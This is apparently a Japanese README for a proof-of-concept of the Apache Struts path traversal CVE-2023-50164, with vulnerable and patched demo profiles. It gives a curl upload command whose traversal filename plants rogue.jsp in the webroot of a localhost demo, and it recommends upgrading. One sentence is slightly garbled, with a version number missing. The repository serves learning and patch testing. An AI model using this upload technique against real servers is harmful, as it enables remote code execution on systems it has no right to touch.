
CVE-2023-50164の概念実証エクスプロイト。Apache Strutsのパストラバーサル脆弱性によりリモートコード実行が可能。テストと学習用に脆弱性ありのデモ環境とパッチ適用済みデモ環境が含まれています。
これは CVE-2023-50164 の概念実証 (PoC) であり、struts-core においてリモートコード実行 (RCE) につながる可能性のある新しいパストラバーサル脆弱性を概説しています。
この問題を修正するには、Struts 2.5.33 または Struts 6.3.0.2 以降に更新することをお勧めします。
このリポジトリは、こちらで公開されている Henrik Plate 氏の優れた成果を基にしています。
このプロジェクトには、vuln と no-vuln の2つの Maven プロファイルがあります。デフォルトは vuln です。
RCE 脆弱性を有効にして実行するには、次のコマンドを実行します:
mvn clean jetty:run -P vuln
RCE 脆弱性を無効にして実行するには、次のコマンドを実行します:
mvn clean jetty:run -P no-vuln
2つのプロファイルの違いは、vuln が struts-core バージョン 6.3.0.1(パストラバーサル脆弱性あり)を使用し、no-vuln が バージョン (パストラバーサル脆弱性なし)を使用することです。
struts-core6.3.0.2上記の vuln プロファイルを実行中に、次のコマンドを実行します:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
src/main/webapp フォルダ内に rogue.jsp ファイルが作成され、http://localhost:9999/struts-vuln-poc/rogue.jsp にアクセスすると(Ya been PWNED! というメッセージが表示されます)。
古いバージョンの Struts でも動作するコード修正ソリューションもありますが、それでも Struts のバージョンを更新することを強くお勧めします。
コード修正を試すには、次のコマンドを実行します:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Attempted path traversal attack というエラーメッセージが表示されます。
注意: no-vuln プロファイルを使用する場合、../src/main/webapp/rogue.jsp のような相対パスを使用しても、新しいバージョンの Struts が自動的に相対パス参照を除去するため、/upload-no-vuln エンドポイントからエラーメッセージは表示されません。